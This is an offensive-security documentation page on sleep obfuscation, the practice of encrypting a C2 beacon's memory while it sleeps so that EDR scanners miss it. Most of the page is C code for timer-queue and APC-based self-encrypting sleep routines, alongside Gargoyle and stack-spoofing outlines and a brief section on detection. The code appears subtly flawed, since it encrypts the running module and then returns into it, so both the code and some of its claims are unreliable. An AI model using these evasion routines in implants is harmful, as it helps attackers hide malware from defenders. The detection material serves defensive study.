> For the complete documentation index, see [llms.txt](https://docs.redteamleaders.com/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://docs.redteamleaders.com/offensive-security/defense-evasion/sleep-obfuscation-encrypting-beacons-during-rest.md).

# Sleep Obfuscation — Encrypting Beacons During Rest

### The Problem of Persistent Memory Presence

Modern C2 frameworks such as Cobalt Strike, Havoc, Sliver, and Brute Ratel follow a well-defined cycle: the beacon "wakes up," checks in with the C2 server, executes pending tasks, then "sleeps" for a configured period. During that sleep window the beacon sits completely static in memory.

This dormant period is a critical detection vector. EDRs with periodic memory scanning capabilities (`pe-sieve`, Elastic Defend, SentinelOne) and dedicated tools like **BeaconHunter** and **Hunt-Sleeping-Beacons** were built specifically to find sleeping beacons by looking for:

* Private executable memory regions (`MEM_PRIVATE` + `PAGE_EXECUTE_*`)
* Byte patterns characteristic of known frameworks (Cobalt Strike, Meterpreter)
* Suspicious call stacks in sleeping threads (SleepEx returning to a non-module region)

**Sleep Obfuscation** solves this by encrypting the beacon's own code and data while it sleeps, making it undetectable to memory scanners.

```
┌──────────────────────────────────────────────────────────────────────┐
│              Beacon Lifecycle with Sleep Obfuscation                 │
│                                                                      │
│  [Beacon wakes up]                                                   │
│       │                                                              │
│       ▼                                                              │
│  [Decrypts its own image in memory]                                  │
│       │                                                              │
│       ▼                                                              │
│  [Checks in with C2, executes tasks]                                 │
│       │                                                              │
│       ▼                                                              │
│  [Encrypts its own image: code, data, keys]                         │
│       │                                                              │
│  ─────┼──────────────────────────────────────────────────────────   │
│  Beacon sleeps. Memory contains only random bytes.                  │
│  No memory scanner finds recognizable patterns.                     │
│  ─────┼──────────────────────────────────────────────────────────   │
│       │                                                              │
│       ▼                                                              │
│  [Timer fires → wake up → decrypt → cycle restarts]                 │
└──────────────────────────────────────────────────────────────────────┘
```

***

### Technique 1: Ekko — Timer-based Sleep Obfuscation

**Ekko** (published by C5pider/Cracked5pider) is an elegant sleep obfuscation implementation that uses Windows **timer queue callbacks** to perform encryption operations without spawning additional threads:

1. Schedule a `CreateTimerQueueTimer` callback to fire after a short delay
2. The callback XOR-encrypts the beacon's memory regions
3. Block on a `WaitForSingleObject` that waits for the decrypt timer to fire
4. A second timer decrypts memory before returning control to the beacon

```c
// Implementation based on the Ekko project (C5pider)
// github.com/Cracked5pider/Ekko

#include <windows.h>
#include <ntsecapi.h>

// Context structure shared between timer callbacks
typedef struct {
    HANDLE  hEvent;
    PVOID   pPayload;       // Base of the region to encrypt
    SIZE_T  payloadSize;    // Region size
    BYTE    xorKey[16];     // XOR key
    BOOL    encrypt;        // TRUE = encrypt, FALSE = decrypt
} TIMER_CONTEXT;

// Timer queue callback — XORs the beacon's memory
VOID CALLBACK TimerCallback(PVOID lpParameter, BOOLEAN timerOrWaitFired) {
    TIMER_CONTEXT* ctx = (TIMER_CONTEXT*)lpParameter;

    // Flip protection to allow writing
    DWORD oldProtect = 0;
    VirtualProtect(ctx->pPayload, ctx->payloadSize,
                   PAGE_EXECUTE_READWRITE, &oldProtect);

    // XOR the region
    BYTE* p = (BYTE*)ctx->pPayload;
    for (SIZE_T i = 0; i < ctx->payloadSize; i++) {
        p[i] ^= ctx->xorKey[i % sizeof(ctx->xorKey)];
    }

    // Restore original protection
    VirtualProtect(ctx->pPayload, ctx->payloadSize, oldProtect, &oldProtect);

    // Signal the main thread to wake up
    if (ctx->hEvent) {
        SetEvent(ctx->hEvent);
    }
}

// Main obfuscated sleep function
void ObfuscatedSleep(DWORD sleepMs) {
    HANDLE hTimerQueue = CreateTimerQueue();
    HANDLE hEvent      = CreateEventA(NULL, FALSE, FALSE, NULL);
    HANDLE hEncTimer   = NULL;
    HANDLE hDecTimer   = NULL;

    // Generate a random key for this sleep cycle
    BYTE xorKey[16];
    RtlGenRandom(xorKey, sizeof(xorKey));

    // Get the current module base and size (the beacon itself)
    HMODULE hSelf = GetModuleHandleA(NULL);
    PIMAGE_DOS_HEADER dos = (PIMAGE_DOS_HEADER)hSelf;
    PIMAGE_NT_HEADERS nt  = (PIMAGE_NT_HEADERS)((BYTE*)hSelf + dos->e_lfanew);
    PVOID  pBase    = (PVOID)hSelf;
    SIZE_T imageSize = nt->OptionalHeader.SizeOfImage;

    // Context for the encryption timer (fires immediately)
    TIMER_CONTEXT encCtx = {
        .hEvent      = NULL,        // No event — nothing to signal
        .pPayload    = pBase,
        .payloadSize = imageSize,
        .encrypt     = TRUE
    };
    memcpy(encCtx.xorKey, xorKey, sizeof(xorKey));

    // Context for the decryption timer (fires after sleepMs)
    TIMER_CONTEXT decCtx = {
        .hEvent      = hEvent,      // Signals the main thread to resume
        .pPayload    = pBase,
        .payloadSize = imageSize,
        .encrypt     = FALSE
    };
    memcpy(decCtx.xorKey, xorKey, sizeof(xorKey));

    // Schedule encryption (immediate)
    CreateTimerQueueTimer(&hEncTimer, hTimerQueue,
        TimerCallback, &encCtx,
        0,          // 0 ms delay — fires immediately
        0,          // No repeat
        WT_EXECUTEONLYONCE
    );

    // Brief pause to ensure encryption has completed
    Sleep(100);

    // Schedule decryption (after the sleep period)
    CreateTimerQueueTimer(&hDecTimer, hTimerQueue,
        TimerCallback, &decCtx,
        sleepMs,
        0,
        WT_EXECUTEONLYONCE
    );

    // Block here until decryption fires — this is the actual sleep.
    // While waiting, beacon memory is encrypted and invisible to scanners.
    WaitForSingleObject(hEvent, INFINITE);

    DeleteTimerQueueEx(hTimerQueue, NULL);
    CloseHandle(hEvent);
}
```

***

### Technique 2: Foliage — APC-based Sleep Obfuscation

**Foliage** uses APCs queued to the current thread to perform encryption, eliminating the need for timer queues:

```c
#include <windows.h>

typedef struct {
    PVOID  pBase;
    SIZE_T size;
    BYTE   key[32];
} OBFUSC_PARAMS;

// APC callback that XOR-encrypts/decrypts a memory region
VOID CALLBACK ObfuscateAPC(ULONG_PTR dwParam) {
    OBFUSC_PARAMS* p = (OBFUSC_PARAMS*)dwParam;

    DWORD old = 0;
    VirtualProtect(p->pBase, p->size, PAGE_EXECUTE_READWRITE, &old);

    BYTE* mem = (BYTE*)p->pBase;
    for (SIZE_T i = 0; i < p->size; i++) {
        mem[i] ^= p->key[i % 32];
    }

    VirtualProtect(p->pBase, p->size, old, &old);
}

void ApcObfuscatedSleep(DWORD ms) {
    HANDLE hThread = GetCurrentThread();

    BYTE key[32];
    RtlGenRandom(key, sizeof(key));

    HMODULE hSelf    = GetModuleHandleA(NULL);
    PVOID   pBase    = (PVOID)hSelf;
    SIZE_T  imgSize  = ((PIMAGE_NT_HEADERS)((BYTE*)hSelf +
                         ((PIMAGE_DOS_HEADER)hSelf)->e_lfanew))->OptionalHeader.SizeOfImage;

    OBFUSC_PARAMS params = { .pBase = pBase, .size = imgSize };
    memcpy(params.key, key, sizeof(key));

    // Queue the encryption APC — fires at next alertable wait
    QueueUserAPC(ObfuscateAPC, hThread, (ULONG_PTR)&params);

    // SleepEx(bAlertable=TRUE) executes the encryption APC, then sleeps
    SleepEx(ms, TRUE);

    // On wake, queue the decryption APC and run it immediately
    QueueUserAPC(ObfuscateAPC, hThread, (ULONG_PTR)&params);
    SleepEx(0, TRUE);
}
```

***

### Technique 3: Gargoyle — ROP-based Sleep Obfuscation

Gargoyle (Joshua Lospinoso, 2017) is a more advanced technique that uses ROP (Return Oriented Programming) to hide the beacon during sleep. While dormant:

1. The shellcode is encrypted and execution permission is stripped
2. A ROP gadget chain is set up to run when the timer fires
3. The beacon is invisible to scanners: non-executable memory, encrypted bytes

```
┌──────────────────────────────────────────────────────────────────────┐
│                    Gargoyle — Detailed Flow                          │
│                                                                      │
│  1. Beacon runs normally in an RWX page                              │
│     ↓                                                                │
│  2. Timer scheduled with a callback that executes the ROP chain      │
│     ↓                                                                │
│  3. Beacon encrypts its own memory                                   │
│     ↓                                                                │
│  4. Remove execute permission (PAGE_READWRITE only)                  │
│     ↓                                                                │
│  5. WaitForTimer — beacon sleeps with no executable code             │
│     [Scanner sees: RW region with random bytes — CLEAN]             │
│     ↓                                                                │
│  6. Timer fires → executes ROP gadget inside ntdll (legitimate)     │
│     ↓                                                                │
│  7. ROP chain: VirtualProtect(RWX) → decrypt → return to beacon    │
│     ↓                                                                │
│  8. Beacon resumes normal execution                                  │
└──────────────────────────────────────────────────────────────────────┘
```

***

### Technique 4: Stack Spoofing During Sleep

Even with memory encrypted, the **call stack** of a sleeping thread can betray the beacon. A thread with a stack like `ntdll!NtWaitForSingleObject → [code in heap]` is immediately suspicious.

Stack spoofing replaces the thread's stack frames during sleep:

```c
// Concept: stack spoofing during sleep
// Complete implementations: Cobalt Strike 4.5+ (built-in),
// VulpesFurtim, ThreadStackSpoofer

void SleepWithStackSpoof(DWORD ms) {
    // 1. Save real stack frames
    // 2. Overwrite frames with a clean, legitimate-looking call stack
    //    (e.g., explorer.exe → kernel32 → ntdll)
    // 3. Sleep (WaitForSingleObject)
    // 4. Restore real frames on wake
    // 5. Resume execution

    // Full implementation requires manual stack and unwind-data manipulation
}
```

***

### C2 Framework Support

```
┌──────────────────────────────────────────────────────────────────────┐
│         Sleep Obfuscation in Known C2 Frameworks                     │
│                                                                      │
│  Framework       │ Technique               │ Availability           │
│  ──────────────  │ ──────────────────────  │ ─────────────────────  │
│  Cobalt Strike   │ Stack Spoof + Sleep     │ 4.5+ (built-in)       │
│  Havoc C2        │ Ekko / APC-based        │ Configurable          │
│  Brute Ratel C4  │ Custom implementation   │ Default               │
│  Sliver          │ Experimental            │ In development        │
│  Metasploit      │ Not implemented         │ N/A                   │
└──────────────────────────────────────────────────────────────────────┘
```

***

### Detecting Sleep Obfuscation

Detection of sleep obfuscation is an active area of defensive research:

* **Memory snapshot comparison**: Compares region contents between two points in time. Regions whose content changes without a legitimate reason are suspicious.
* **Call stack analysis during sleep**: Inspects stacks of sleeping threads. A stack with `SleepEx` returning to a non-module region indicates a beacon.
* **Timer callback inspection**: Audits registered timer queue callbacks. A callback pointing into a private region is anomalous.
* **BeaconHunter** (Elastic): Detects C2 behavioral patterns via ETW and syscall analysis.
* **Hunt-Sleeping-Beacons** (thefLink): Purpose-built tool that finds dormant beacons by analyzing call stacks and memory region types.

***

### References

* C5pider, "Ekko: A Small Sleep Obfuscation Technique" — github.com/Cracked5pider/Ekko (2022)
* Joshua Lospinoso, "Gargoyle: A Memory Scanning Evasion Technique" — jlospinoso.github.io (2017)
* Kyle Avery, "VulpesFurtim: Obfuscating Cobalt Strike Beacons" — kyleleavery.com (2021)
* thefLink, "Hunt-Sleeping-Beacons" — github.com/thefLink/Hunt-Sleeping-Beacons
* Elastic Security Labs, "Detecting Sleeping Beacons" — elastic.co/security-labs (2022)
* MDSec, "In-Process Shellcode Obfuscation" — mdsec.co.uk (2021)
* Cobalt Strike, "Sleep Mask Kit Documentation" — hstechdocs.helpsystems.com
* SEKTOR7, "Advanced Malware Development: Evasion" — sektor7.net
